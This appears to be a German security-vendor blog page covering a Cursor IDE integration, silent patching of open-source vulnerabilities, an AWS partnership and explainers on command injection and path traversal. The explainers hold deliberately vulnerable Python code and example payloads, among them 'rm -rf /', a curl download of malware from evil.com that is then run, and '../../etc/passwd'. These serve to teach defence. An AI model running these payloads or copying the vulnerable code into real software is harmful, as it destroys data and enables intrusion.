Willkommen in unserem Blog.

Cursor AI hat sich schnell zum angesagten KI-Code-Editor entwickelt und erfreut sich großer Beliebtheit bei Entwicklern, die ihren Code schneller und effizienter schreiben wollen. Doch während Cursor die Codierung beschleunigt, wie können Entwickler darauf vertrauen, dass KI-Code sicher ist?

TL;DR: Mit Aikido x Cursor können Entwickler ihren Code sichern, während er generiert wird.

Falls Sie den bisherigen Hype verpasst haben: Cursor ist eine "AI Native" IDE, die auf VSCode aufbaut. Sie ist in einem zunehmend überfüllten Feld von Gen AI Coding Copilot Startups tätig und konkurriert unter anderem mit Github Co-pilot, Cognition, Poolside, Magic und Augment.

Cursor wurde zwar 2022 gegründet, aber erst Mitte 2024 begann der kometenhafte Aufstieg von Cursor an die Spitze des GenAI-Code-Rennens, etwa zur gleichen Zeit, als Cursor Sonnet 3.5M als Standardmodell einführte... Nachfolgend finden Sie einen Auszug aus dem "The Pragmatic Engineer" von Gregely Orosz, dem Nr. 1 Tech-Newsletter auf Substack, der letzte Woche erschienen ist und der zeigt , wie Entwickler verschiedene IDEs mit GenAI-Funktionen bewerten :

Auch wenn es sich bei den Befragten wahrscheinlich überwiegend um Early Adopters handelt, ist es doch beeindruckend zu sehen, dass Cursor als neuer Marktteilnehmer so schnell die Herzen und Köpfe erobert hat. Es ist keine Überraschung, dass das Unternehmen inzwischen 60 Millionen Dollar an Series-A-Finanzierung von Andreessen Horowitz, Thrive Capital, OpenAI, Jeff Dean, Noam Brown und den Gründern von Stripe, GitHub, Ramp, Perplexity und OpenAI erhalten hat, um nur einige zu nennen.

Deshalb freut sich Aikido Security, seine neue Integration mit Cursor AI vorstellen zu können. Aikido x Cursor bringt Echtzeit-Sicherheit in die Cursor-IDE und hilft Entwicklern, von Anfang an sicheren Code zu schreiben und zu generieren - und das ohne Unterbrechung.

Wie die Integration funktioniert

Heute können Sie Aikido direkt in Ihre Cursor IDE integrieren. Aikido scannt Ihre Codebasis nach secrets, API-Schlüsseln und SAST-Code-Problemen , während Sie entwickeln, wann immer Sie eine Datei öffnen oder speichern.

Wenn Probleme erkannt werden, hebt Aikido diese im Editor hervor und zeigt sie in der Problemliste an. Wenn Sie den Mauszeiger über ein erkanntes SAST-Problem bewegen, erhalten Sie zusätzliche Informationen über das Problem. In einigen Fällen können Sie sogar Probleme mit den Vorschlägen von Cursor im Chat beheben (auch wenn diese noch nicht ganz ausgereift sind).

1. Sofortige Erkennung von Schwachstellen
   Aikido scannt den Code, während er generiert wird, und identifiziert Sicherheitsschwachstellen in Echtzeit. Klare, prägnante Erklärungen stellen sicher, dass Sie wissen, was das Problem ist und warum es wichtig ist - keine überkomplizierten Berichte.
2. Behebung von Problemen mit einem Klick
   Wenn eine Schwachstelle markiert ist, kann Cursor mit einem Klick Vorschläge zur Behebung erstellen. Sie können sie direkt von der Cursor-Chatoberfläche aus anwenden. Beachten Sie, dass nicht alle Vorschläge von Cursor gültig sind.
3. Konzentrieren Sie sich
   Alles geschieht innerhalb der Cursor IDE. Sie müssen nicht zwischen Tools wechseln, externe Scans durchführen oder mit verschiedenen Plattformen jonglieren. Aikido integriert sich nahtlos in die IDE, so dass Sie sich auf die Entwicklung konzentrieren können, während Sie wissen, dass Ihr Code sicher ist.

Warum es wichtig ist

Die Auswirkungen von Gen AI auf die Technik sind unbestreitbar. KI-Codegeneratoren oder Co-Piloten sind nicht unfehlbar. Einerseits kann Gen-KI zur Erhöhung der Sicherheit eingesetzt werden (mehr dazu in Kürze!). Andererseits werden sie unweigerlich auch Schwachstellen mit sich bringen. Wir alle warten auf den Tag, an dem die KI das Gröbste hinter sich lassen kann. Heute sind wir einen Schritt näher dran.

Diese Integration ermöglicht es Entwicklern, auf der Überholspur zu bleiben und sichere Anwendungen zu erstellen, während sie die besten KI-gesteuerten Tools nutzen und sicher sein können, dass die Ausgabe sicher ist. Erledigen Sie die Sicherheit. Zurück zur Entwicklung.

Los geht's

Die Aikido-Integration ist jetzt für Cursor-Nutzer verfügbar. Zur Zeit benötigen Sie ein kostenpflichtiges Abonnement für die Integration. Folgen Sie den folgenden Schritten:

Schritt 1. Rufen Sie den Visual Studio Code Marketplace auf und folgen Sie den Anweisungen zur Installation einer Erweiterung in Cursor.

Schritt 2. Gehen Sie in Aikido auf die Cursor-IDE-Integrationsseite und erstellen Sie Ihr Token.

Schritt 3. Sehen Sie sich die Beispiele in unseren Dokumenten auf dem Visual Studio Marketplace an, um zu testen , ob alles gut funktioniert.

Schritt 4. Gehen Sie zurück zum Bauen.

Sichern Sie Ihren Code so, wie er generiert wird.

Intel ist unser Open-Source-Sicherheits-Bedrohungs-Feed , der von KI und unserem internen Forschungsteam unterstützt wird. Intel überwacht und deckt Schwachstellen in Open-Source-Paketen auf, bevor sie veröffentlicht werden. Viele werden nie veröffentlicht.

67 % der stillschweigend gepatchten Software-Schwachstellen wurden nie bekannt gegeben

Open-Source-Software macht die Welt buchstäblich stark. Die Sicherheit von Open-Source-Software ist jedoch auch ein Bereich, in dem große Sicherheitsbedenken bestehen. Open-Source-Tools können, wie alles andere auch, Sicherheitslücken aufweisen. Diese können von Angreifern genutzt werden, um Ihre Anwendung auszunutzen. Software-Anbieter sind somit ohne eigenes Verschulden angreifbar. Das macht die Open-Source-Sicherheit zu einem sehr wichtigen Thema.

Wir verlassen uns nicht nur darauf, dass die Open-Source-Gemeinschaft diese Werkzeuge entwickelt und pflegt, sondern auch darauf, dass sie alle bekannten Sicherheitslücken behebt. Wir verlassen uns auch darauf, dass die Betreuer die Schwachstellen öffentlich melden , wenn sie entdeckt werden. Die öffentliche Bekanntgabe von Schwachstellen durch die Gemeinschaft bildet die Grundlage der Open-Source-Sicherheit.

Beim Silent Patching oder Shadow Patching wird eine Sicherheitslücke zwar behoben (gepatcht), aber nicht bekannt gegeben. Dies ist ein großes Problem, denn es bedeutet, dass Anbieter möglicherweise anfällige Software einsetzen, ohne sich des Risikos bewusst zu sein.

Wir bringen Aikido Intel auf den Markt, um gepatchte Software, die Sie betreffen könnte, aus dem Verborgenen zu holen. Mit Aikido Intel können wir Entwickler so früh wie möglich warnen, wenn wir Sicherheitslücken finden, die sie betreffen könnten, und die Open-Source-Sicherheit verbessern.

Was ist Aikido Intel?

Aikido Intel ist eine Initiative von AI + unserem internen Forschungsteam zur Verbesserung der Open-Source-Sicherheit, indem Schwachstellen in der Open-Source-Lieferkette zum frühestmöglichen Zeitpunkt entdeckt werden. Noch bevor sie in einer Schwachstellendatenbank veröffentlicht werden. Um dies zu erreichen, verwenden wir speziell geschulte LLMs, um Änderungen in Paketen zu überprüfen und zu erkennen, wann ein Sicherheitsproblem behoben wurde.

Wie bei jeder Software wird auch bei Open-Source-Software in einem Änderungsprotokoll festgehalten, was in jeder neuen Version geändert wurde. Intel setzt KI ein, um all diese öffentlichen Änderungsprotokolle und Versionshinweise zu lesen und Beispiele dafür zu finden, wo Sicherheitsprobleme behoben wurden. Diese werden dann mit 5 Schwachstellen-Datenbanken abgeglichen, um festzustellen, ob das Problem bereits gemeldet wurde. Ist dies nicht der Fall, wird die Schwachstelle von einem Sicherheitsingenieur analysiert und bewertet, der ihr eine Aikido-Schwachstellennummer und einen Schweregrad zuweist und sie öffentlich bekannt gibt, damit Sie wissen, ob Sie betroffen sind. Lesen Sie mehr Details dazu später

Aikido Intel jetzt ausprobieren

Aikido Intel nach Zahlen

Seit der Einführung von Aikido im Januar, hat Intel 511 Sicherheitslücken entdeckt entdeckt, die gepatcht, aber nicht veröffentlicht wurden und eine echte Bedrohung für jeden darstellen, der diese Pakete verwendet.

Manchmal kann es einige Zeit dauern, bis eine Sicherheitslücke gepatcht und eine CVE-Nummer zugewiesen wird. Jede Woche bewertet Aikido den Status früherer Schwachstellen neu, um zu sehen, ob ihnen eine CVE-Nummer zugewiesen wurde. Wir können mitteilen, dass 67 % der von uns entdeckten Sicherheitslücken nie in einer Datenbank für Sicherheitslücken veröffentlicht wurden!

Es überrascht zwar nicht, dass Schwachstellen mit geringem Schweregrad häufiger stillschweigend gepatcht werden, aber es ist dennoch schockierend, dass über 50 % der schwerwiegenden und kritischen Schwachstellen nie offengelegt werden. Dies schafft einen riesigen blinden Fleck für Entwickler und Software-Anbieter.

Ich weiß, dass sich einige von Ihnen jetzt in ihren Sitzen winden und sagen, dass es sich dabei vielleicht um kleine, nicht so populäre Open-Source-Projekte mit begrenzten Sicherheitsrichtlinien handelt, aber da liegen Sie falsch. Wir haben in einigen sehr großen Projekten einige unentdeckte Sicherheitslücken gefunden. .

Axios, ein auf Versprechen basierender HTTP-Client für den Browser und node.js mit 56 Millionen wöchentlichen Downloads und 146.000 + Abhängigen, hat im Januar 2024 eine Schwachstelle für Prototyp-Verschmutzung behoben , die nie öffentlich bekannt gemacht wurde.

Eine interessante Tatsache über diese Sicherheitslücke: Dies war tatsächlich die erste Sicherheitslücke, die Aikido Intel gefunden hat (siehe Nummer 2023-10001).... Sie ist bis heute nicht bekannt geworden!

Nun will ich sie nicht übergehen, Axios ist nicht allein, es gibt noch ein paar andere Namen, die ein besonderes Lob verdienen. Apache hat in aller Stille eine Schwachstelle in der Echarts-Software für Cross-Site-Scripting gepatcht, die nie bekannt gegeben wurde.

Ein weiteres interessantes Beispiel, das wir entdeckt haben, war eine kritische Path-Traversal-Schwachstelle im Chainlit, die im September gepatcht wurde, aber die Schwachstelle wurde nie veröffentlicht.

Die häufigsten Schwachstellen

Cross-Site-Scripting war mit 14,8 % die häufigste nicht gemeldete Schwachstelle, gefolgt von der Offenlegung sensibler Informationen mit 12,3 %. Insgesamt haben wir 90 verschiedene Arten von Schwachstellen entdeckt, die eine lange Reihe von Ergebnissen hervorrufen; im Folgenden sind einige der häufigsten aufgeführt.

Die am häufigsten entdeckten Schwachstellen

Betrachtet man nur die Schwachstellen in den Bereichen "Cuticle" und "High", so ergibt sich ein etwas anderes Bild: Remote Code Execution steht an erster Stelle der Liste

Die am häufigsten entdeckten Schwachstellen - nur kritisch und hoch

Zeit bis zur Offenlegung

Während zum Zeitpunkt der Erstellung dieses Artikels 67 % der Pakete ihre Schwachstellen nie bekannt gaben, taten dies 31 %, sei es von den Betreuern oder von Sicherheitsforschern (ein Lob an sie). Von den Paketen, die die Schwachstellen offengelegt haben, dauerte es durchschnittlich 27 Tage von der Veröffentlichung des Patches bis zur Zuweisung eines CVE. Die schnellste Zeit, die wir beobachtet haben, war nur 1 Tag und die längste Zeit war 9 Monate!

So funktioniert Intel (im Detail)

Ich weiß, dass wir alle den neuen KI-Bullsh*t satt haben, aber Intel ist eine Initiative des Sicherheitsforschungsteams von Aikido, und das KI-Team von Aikido nutzt KI mit einem "Human in The Loop", um einen öffentlichen Bedrohungs-Feed zur Verbesserung der Open-Source-Sicherheit bereitzustellen.

Intel liest alle öffentlich zugänglichen Änderungsprotokolle und Versionshinweise, um festzustellen, ob Sicherheitsbehebungen vorgenommen, aber nicht veröffentlicht wurden. Zu diesem Zweck werden zwei LLM-Modelle verwendet, von denen eines die Daten filtert und alle unnötigen Zusammenhänge entfernt, damit sich das zweite LLM auf die Schwachstellenanalyse konzentrieren kann. Ein menschlicher Sicherheitsingenieur überprüft dann die Entdeckungen des LLM, validiert die Ergebnisse und gibt eine Meldung heraus, wenn eine Schwachstelle bestätigt wird.

Diese Methode ist deshalb so effektiv, weil sie deutlich weniger Rechenleistung verbraucht als der Versuch, all diese Systeme auf Schwachstellen zu überprüfen. Dennoch hat es sich über ein Jahr lang bewährt, viele echte Ergebnisse zu finden.

Wie Changelogs von Aikido Intel betrachtet werden

Changelogs sind Dokumente, die in Open-Source-Projekten gepflegt werden und Aktualisierungen, Fehlerbehebungen, Funktionserweiterungen und Patches aufzeichnen. Beispiele hierfür sind CHANGELOG.md Dateien, Commit-Nachrichten und GitHub-Versionshinweise.

Der Intel LLM identifiziert Einträge, die auf sicherheitsrelevante Änderungen hindeuten, indem er nach ihnen sucht:

• Schlüsselwörter: "Schwachstelle", "Sicherheit", "Behebung", "Exploit", "Eingabeüberprüfung" usw.
• Kontextuelle Hinweise: "Ein kritischer Fehler wurde behoben", "Ein Pufferüberlauf wurde gepatcht", "Authentifizierungsprobleme wurden behoben".

Vom LLM gekennzeichnete Beispieleinträge:
- Behebung eines Problems bei der Bereinigung von Eingaben im Login-Handler.
- Behebung eines Speicherlecks, das zu Denial-of-Service-Angriffen führen konnte.
- Behebung einer Path-Traversal-Schwachstelle in der Dateiupload-Funktion.

Open-Source-Sicherheit, wie Sicherheitslücken richtig offengelegt werden

Wie bereits erwähnt, ist die Offenlegung von Schwachstellen ein wichtiger Bestandteil der Open-Source-Sicherheit. Es gibt verschiedene Datenbanken, in denen veröffentlicht wird, wenn eine Software eine Sicherheitslücke aufweist. Die wichtigste Datenbank ist die National Vulnerability Database (NVD), die von der US-Regierung verwaltet wird. Diese Datenbank wird nicht nur von Unternehmen genutzt, um ihre Lieferkette zu überprüfen, sondern auch von Sicherheitssoftware, die Projekte anhand dieser und anderer Datenbanken überprüft (SCA-Software). Es gibt zahlreiche weitere Datenbanken, darunter die Common Vulnerabilities and Exposures-Datenbank (CVE) von Mitre, die GitHub Advisory Database und viele weitere. Insgesamt überprüft Aikido fünf verschiedene Datenbanken. Die meisten dieser Datenbanken haben jedoch gemeinsam, dass sie verlangen, dass Schwachstellen öffentlich bekannt gegeben werden, in der Regel nachdem ein Fix veröffentlicht wurde.

Warum werden Schwachstellen nicht offengelegt?

Das ist eine gute Frage, und ich möchte zunächst sagen, dass es keinen guten Grund gibt, Schwachstellen nicht offen zu legen. Der häufigste Grund ist vielleicht das Reputationsrisiko, dass Ihre Software als unsicher angesehen werden könnte, aber ich würde behaupten, dass man viel mehr verlieren kann, wenn man sie nicht offenlegt, als wenn man sie offenlegt.

Warum Shadow-Patching ein Problem für die Open-Source-Sicherheit ist

Wenn Sie Schwachstellen in Ihrer Software nicht öffentlich bekannt geben, stellt dies ein großes Risiko für Ihre Benutzer dar. Das Sprichwort " Was nicht kaputt ist, soll man nicht reparieren" trifft auf Software oft zu.

Die Aktualisierung von Komponenten Ihrer Software kann oft zu Problemen bei der Leistung und der Benutzerfreundlichkeit führen oder Ihre Anwendung schlichtweg zerstören. Aus diesem Grund ist es nicht immer üblich, Pakete sofort zu aktualisieren, wenn eine neuere Version verfügbar ist.

Wenn es jedoch ein Sicherheitsproblem in einer Komponente gibt, ist es wichtig, dies zu wissen, da es die Dringlichkeit ändert, mit der Sie Ihre Open-Source- und Drittanbieterkomponenten aktualisieren. Wenn diese Informationen nicht bekannt gegeben werden, ist die Wahrscheinlichkeit geringer, dass die Benutzer aktualisieren, was bedeutet, dass sie Sicherheitslücken in ihren Tools haben, von denen sie nichts wussten.

Lassen Sie nicht zu, dass versteckte Schwachstellen Ihre Sicherheit gefährden.

Gehen Sie noch heute eine Partnerschaft mit Aikido Security ein, um Ihre Lieferkette zu schützen und ein Gefühl der Sicherheit zu bekommen.

Falls Sie es verpasst haben: In den Sommermonaten haben wir unser Produkt auf dem AWS Marketplace mit dem Versprechen eingeführt, neuen AWS-Benutzern die schnellste "Time-to-Security" in der Branche zu bieten.

Außerdem sind wir offiziell dem AWS Partner Network (APN) als validierter AWS-Partner beigetreten.

Das bedeutet, dass wir die AWS Foundational Technical Review (FTR) durchlaufen haben. Wir sind FTR-zugelassen* und erfüllen die von AWS durchgesetzten Best Practices für eine gute Architektur, nicht um zu prahlen ;)

Psst. Bald können Sie Aikido nutzen, um eine FTR-Zulassung zu erhalten. Wir bilden die Aikido-Funktionalität auf den FTR-Sicherheitsprozess ab, damit Sie schnell mit AWS arbeiten und mitverkaufen können. Interessiert? → Melden Sie sich hier an und Sie werden als Erster informiert.

Wir freuen uns nicht nur über das schicke Partnerabzeichen, sondern auch darüber, offizieller AWS-Partner zu sein, um einen besseren Zugang zur AWS-Community zu erhalten. Wir können Cloud-native Kunden besser bedienen, unnötige Komplexität in der Kundenreise vermeiden und unser eigenes Cloud Security Posture Management (CSPM)-Produkt für AWS Cloud erweitern.

Warum sollten Sie Aikido zu Ihrer AWS-Rechnung hinzufügen?

Aikido Security bietet eine umfassende Code-to-Cloud-Abdeckung, die sich gut mit den Full-Stack-Funktionen von AWS kombinieren lässt. Dies ist besonders wertvoll für AWS-Kunden, die sowohl Anwendungs- als auch Cloud-Sicherheit auf einer einheitlichen Plattform verwalten.

Die direkte Integration in AWS-Umgebungen vereinfacht die Bereitstellung und ermöglicht es Aikido, AWS-Dienste wie EC2, S3, Lambda und andere auf Schwachstellen zu scannen - was die Sicherheitstransparenz innerhalb von AWS verbessert und die Cloud-native Architektur ergänzt. Das AWS-Positionsmanagement von Aikido basiert auf AWS Inspector. Wir können Ihnen Befunde zeigen, die Hacker dazu veranlassen können, sich einen ersten Zugang zu Ihrer Cloud zu verschaffen.

Außerdem bieten Aikidos integrierten compliance Aikidos integrierte Konformitätsprüfungen entsprechen den wichtigsten Standards (SOC2, ISO 27001, NIS 2, HIPAA) und erleichtern es AWS-Kunden, die compliance in der gesamten AWS-Infrastruktur aufrechtzuerhalten, was besonders für regulierte Branchen wichtig ist.

Haben Sie Interesse, es auszuprobieren? Finden Sie uns auf dem AWS-Marktplatz

Was ist Befehlsinjektion?

Command Injection ist eine Sicherheitslücke, die in Webanwendungen immer noch sehr häufig vorkommt, obwohl sie weniger bekannt ist als ihre Cousins SQL Injection oder Code Injection. Wenn Sie mit anderen Injektionsschwachstellen vertraut sind, werden Sie das gemeinsame Prinzip erkennen: Nicht vertrauenswürdige Benutzereingaben werden nicht ordnungsgemäß überprüft, was zur Ausführung beliebiger Systembefehle führt. Diese Schwachstelle tritt auf, wenn ungeprüfte Eingaben an Funktionen auf Systemebene übergeben werden. Wie verbreitet ist Command Injection also tatsächlich? Wir haben uns angesehen, wie häufig diese Schwachstelle in freier Wildbahn auftritt - *Spoiler*, sie ist überraschend häufig!

Beispiel für Befehlsinjektion

Nehmen wir das folgende Beispiel einer Befehlsinjektion: Angenommen, Sie haben eine Anwendung, in die Sie den Namen einer Datei eingeben können, die auf einem Server gehostet wird. Die Anwendung ruft diese Datei ab und schreibt ihren Inhalt aus. Der Code dafür lautet wie folgt

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

Der obige Code erwartet, dass ein Benutzer einen Dateinamen wie file.txt Stattdessen schleust ein böswilliger Benutzer Code ein, um bösartige Befehle auszuführen.

Zum Beispiel
Name der Datei: file.txt; rm -rf /

Diese Eingabe würde zunächst den Inhalt von file.txt und führen dann die bösartige rm -rf Befehl, der alle Dateien in einem Verzeichnis zwangsweise löscht.

Der böswillige Benutzer kann dies tun, weil die Anwendung die Eingaben des Benutzers nicht validiert oder bereinigt hat, was die Anwendung anfällig für Befehlsinjektion macht.

Wenn Sie ein umfassenderes Beispiel wünschen, sehen Sie sich den Bonusinhalt am unten auf dieser Seite.

Befehlsinjektion in Zahlen: Unsere Forschung

• 7 % aller im Jahr 2024 in Open-Source-Projekten gefundenen Sicherheitslücken waren Befehlsinjektionen
• 5,8 % für Closed-Source-Projekte !
• Ein Anstieg der Gesamtzahl der Schwachstellen durch Befehlsinjektion in Open-Source-Projekten von 2.348 (2023 ) auf voraussichtlich 2.600 (2024).
• Der prozentuale Anteil von Command Injection an allen Schwachstellen nimmt ab: ein Rückgang um 14,6 % bei Open-Source- und 26,4 % bei Closed-Source-Projekten von 2023 bis 2024.

Unsere Forschung konzentrierte sich darauf, sowohl Open-Source- als auch Closed-Source-Projekte zu untersuchen, um herauszufinden, in wie vielen davon sich Schwachstellen durch Befehlsinjektion verbergen.

Insgesamt ist die Zahl der Schwachstellen durch Befehlsinjektion sehr hoch: 7 % aller in Open-Source-Projekten gemeldeten Schwachstellen sind Befehlsinjektionen und 5,8 % in Closed-Source-Projekten. Dies entspricht in etwa der Zahl der gefundenen SQL-Injection-Schwachstellen.

Es gibt auch einige gute Nachrichten aus den Daten zu ziehen, wir sehen einen soliden Trend der Verringerung dieser Sicherheitslücken von 2023 bis 2024. Der prozentuale Anteil der Sicherheitslücken an allen Sicherheitslücken ist bei Closed-Source-Projekten um 27 % und bei Open-Source-Projekten um 14 % zurückgegangen. Wahrscheinlich gibt es viele Faktoren, die dazu beitragen. Ein wichtiger Faktor ist wahrscheinlich, dass das FBI und die CISA im Jahr 2024 auf die Befehlsinjektion als reale Bedrohung hinwiesen und die Anbieter aufforderten, sich damit zu befassen. Den Daten zufolge wurde diese Warnung gehört.

Die guten Nachrichten enden leider hier. Die Gesamtzahl der in Open-Source-Projekten gemeldeten Sicherheitslücken steigt weiter an. Die Gesamtzahl der in Open-Source-Projekten gemeldeten Injektionsschwachstellen stieg von 2.348 im Jahr 2023 auf 2.450 im Jahr 2024 (und wird voraussichtlich 2.600 erreichen)

Verhinderung der Befehlsinjektion

Die Verhinderung von Schwachstellen durch Befehlsinjektion erfordert einen vielschichtigen Ansatz:

Server-seitige Eingabevalidierung

Ein häufiger Fehler ist, dass nur eine clientseitige Validierung durchgeführt wird, die von einem Angreifer mit einer direkten Anfrage umgangen werden kann.

import subprocess

# Beispiel für eingeschränkte Eingabe
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # Dies sollte vom Benutzer kommen, wird aber überprüft

if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("Ungültige Eingabe!")

Vermeiden Sie Shell-Befehle

Ersetzen Sie Shell-Befehle nach Möglichkeit durch sprachnative Funktionen oder Bibliotheken. Nachfolgend ein Beispiel für die Verwendung des Nur-Lese-Modus, um eine Datei zu öffnen und die darin enthaltenen Kontexte zu lesen.

with open("file.txt", "r") as f:
print(f.read())

Automatisierte Prüfung

Verwenden Sie Tools wie Aikido, um Ihren Quellcode und Ihre Anwendung zu scannen und diese Schwachstellen zu entdecken.

Verwenden Sie eine App-interne Firewall

Eine der besten Abwehrmaßnahmen gegen Injektionsangriffe ist eine In-App-Firewall , die bösartige Befehle abfangen und blockieren kann. Die In-App-Firewall Zen von Aikido ist sowohl als Open-Source- als auch als kommerzielle Lösung verfügbar und kann Injection-Angriffe zur Laufzeit erkennen und blockieren.

Anwendung des Grundsatzes der geringsten Privilegierung

Konfigurieren Sie Anwendungen und Benutzer so, dass sie nur mit den minimal erforderlichen Berechtigungen ausgeführt werden, um den potenziellen Schaden durch Ausnutzung zu verringern.

Der Weg nach vorn

Die Befehlsinjektion und viele andere Schwachstellen sind eine Herausforderung. Technisch gesehen haben wir dieses Problem gelöst, d. h. es besteht keine Notwendigkeit, diese Art von Schwachstelle in Ihren Anwendungen zu haben. Die Tatsache, dass immer noch so viele Schwachstellen dieser Art auftreten, bedeutet, dass wir keinen Quantensprung in der Verbesserung erwarten können.

Command Injection wird auch weiterhin ein Problem bleiben, aber da wir in diesem Jahr einen deutlichen Rückgang verzeichnen konnten, weil große Unternehmen sich auf diese Schwachstelle konzentriert haben, besteht die Hoffnung, dass Command Injection in Zukunft an Bedeutung verlieren wird, wenn wir weiterhin das Bewusstsein dafür schärfen.

Bonus-Inhalt

Eine Geschichte der Befehlsinjektion: Prominente Verstöße

Die Befehlsinjektion ist schon seit langem eine anhaltende Bedrohung. Tatsächlich gab es von 1989 bis 2014 eine erhebliche Sicherheitslücke in der Bash, die eine Befehlsinjektion ermöglichte. In jüngerer Zeit, im Jahr 2024, wurde die Bedeutung der Befehlsinjektion von der CISA und dem FBI hervorgehoben, was zeigt, dass sie immer noch ein großes Problem darstellt.

1. Die Anfänge der Befehlsinjektion

• Erste bekannte Verwendung: Schwachstellen durch Befehlsinjektion traten mit dem Aufkommen von Mehrbenutzersystemen in den 1970er und 1980er Jahren auf und ermöglichten Angreifern die Ausführung beliebiger Befehle über nicht sanitisierte Eingaben.
• 1980er und 1990er Jahre: Die Verbreitung von Web-Technologien führte zu einer verstärkten Ausnutzung der Befehlsinjektion, insbesondere durch unzureichend gesicherte CGI-Skripte.

2. Signifikante Verstöße und Exploits

• 1998: Der erste dokumentierte webbasierte Befehlsinjektionsangriff: Eine Schwachstelle in einem weit verbreiteten Perl-basierten CGI-Skript wurde ausgenutzt und markierte einen der ersten größeren webbasierten Command-Injection-Angriffe.
• 2010: Stuxnet-Wurm (eingebettete Befehlsinjektion): Stuxnet nutzte die Befehlsinjektion, um industrielle Steuersysteme anzugreifen, und demonstrierte damit die Reichweite der Schwachstelle über traditionelle IT-Umgebungen hinaus.

3. 2010s: Ausbeutung in großem Maßstab

• 2014: Shellshock-Schwachstelle: Shellshock (CVE-2014-6271) nutzte die Befehlsverarbeitung von Bash aus und betraf Millionen von Systemen weltweit.
• 2018: Cisco ASA VPN Exploit (CVE-2018-0101): Eine Befehlsinjektionsschwachstelle in der ASA-Software von Cisco ermöglichte die Ausführung von Remotecode und gefährdete die Unternehmenssicherheit.

4. 2020s: Moderne Exploits und Trends

• 2020: Citrix ADC Gateway Sicherheitslücke: Angreifer nutzten Schwachstellen in Citrix-Systemen zur Befehlsinjektion aus, was zu erheblichen Datenverletzungen führte.
• 2023: MOVEit-Sicherheitslücke (SQL- und Befehlsinjektion): Ein Befehlsinjektionsfehler in der MOVEit-Transfersoftware führte zu weit verbreiteten Datenverletzungen in mehreren Organisationen.

Realistische Befehlsinjektionsschwachstelle

Der verletzliche Code

Schauen wir uns ein etwas komplexeres Beispiel für Befehlsinjektion an. Im Folgenden finden Sie Code für eine einfache Python-Webanwendung. Sie ermöglicht es Benutzern, ein ZIP-Archiv mit bestimmten Dateien zu erstellen, indem sie eine POST-Anfrage an die /Archiv Route.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

Wie es funktioniert

Der Benutzer liefert:

• Dateien (z.B., datei1.txt datei2.txt), um anzugeben, welche Dateien in das Archiv aufgenommen werden sollen.
• archiv_name um den Namen des resultierenden Zip-Archivs anzugeben.

Der Code baut einen Shell-Befehl dynamisch auf:

1. zip archiv_name.zip datei1.txt datei2.txt

2. Die os.system() führt den Befehl aus, wobei die Eingaben des Benutzers das Verhalten des Befehls bestimmen.

Ausbeutung

Ein Angreifer nutzt dies aus, indem er zusätzliche Befehle in die archiv_name oder Dateien Eingaben.

Vom Angreifer bereitgestellter Input:

• archiv_name: mein_Archiv; rm -rf /
• Dateien: datei1.txt

Der daraus resultierende Befehl:

zip mein_Archiv.zip file1.txt; rm -rf /

1. zip mein_Archiv.zip file1.txt: Erzeugt wie erwartet ein Archiv.
2. ; rm -rf /: Löscht alle Dateien auf dem Server, indem es einen separaten destruktiven Befehl ausführt.

Ein anspruchsvolleres Beispiel

Der Angreifer könnte dies ausnutzen, um Malware herunterzuladen oder Daten zu exfiltrieren:

archiv_name: Archiv; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Resultierender Befehl:

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Dieser Befehl:

1. Erzeugt ein Archiv (zip archiv.zip datei1.txt).
2. Lädt bösartigen Code herunter (curl -o malware.sh http://evil.com/malware.sh).
3. Führt die Malware aus (bash malware.sh).
   

Path Traversal, auch bekannt als Directory Traversal, tritt auf, wenn ein böswilliger Benutzer die vom Benutzer bereitgestellten Daten manipuliert, um unbefugten Zugriff auf Dateien und Verzeichnisse zu erhalten. In der Regel versucht der Angreifer, auf Protokolle und Anmeldedaten zuzugreifen, die sich in verschiedenen Verzeichnissen befinden. Path Traversal ist keine neue Schwachstelle und wird seit den 90er Jahren aktiv ausgenutzt, als Webserver an Popularität gewannen, von denen viele auf CGI-Skripte (Common Gateway Interface) zur Ausführung dynamischer serverseitiger Inhalte angewiesen waren.

Ist Path Traversal mit einer so langen Geschichte heute noch populär? Wir haben eine Studie über Open-Source- und Closed-Source-Projekte durchgeführt, um Daten zu sammeln und herauszufinden, wie verbreitet Path Traversal im Jahr 2024 ist und ob wir uns verbessern, Spoiler wirnicht.

Beispiel für eine Pfadüberquerung

Wie genau funktioniert nun die Pfadüberquerung? Schauen wir uns ein einfaches Beispiel an.

In dieser einfachen Anwendung wird einem Benutzer über eine Variable in der URL eine Datei zum Herunterladen gegeben.

Es gibt einen einfachen Python-Code im Hintergrund, der die Anfrage bearbeitet.

import os

def download_file(file):
base_directory = "/var/www/files"
file_path = os.path.join(base_directory, file)

if os.path.exists(file_path):
with open(file_path, 'rb') as f:
return f.read()
else:
return "Datei nicht gefunden"

Da die Variable in der URL enthalten ist, können wir sie in etwas wie dieses ändern file=../../../../etc/passwd

In diesem Fall verwendet der Angreifer das ../../, um die Verzeichnisstruktur bis zur Stammebene des Systems zu durchlaufen und auf die übergebene Datei zuzugreifen, wodurch er möglicherweise Zugriff auf sensible Informationen erhält.

Wenn Sie sehen möchten, wie diese Methode gesichert werden kann, scrollen Sie nach unten zum Bonusinhalt.

In komplexeren Szenarien mit mehreren Ebenen von Verzeichnissen oder kodierten Zeichen (z. B., %2e%2e%2f), können Angreifer grundlegende Filter umgehen und tieferen Zugriff auf das Dateisystem erlangen.

Pfadüberquerung nach Zahlen

• 2,7 % aller im Jahr 2024 in Open-Source-Projekten gefundenen Schwachstellen waren Pfadüberwindungen
• 3,5 % für Closed-Source-Projekte !
• Ein Anstieg der Gesamtzahl der Sicherheitslücken in Open-Source-Projekten von 742 (2023 ) auf voraussichtlich 1.000 (2024).
• Der prozentuale Anteil von Path Traversal an der Gesamtzahl der Schwachstellen nimmt mit einem massiven Anstieg der Closed-Source-Projekte um 85 % zu.

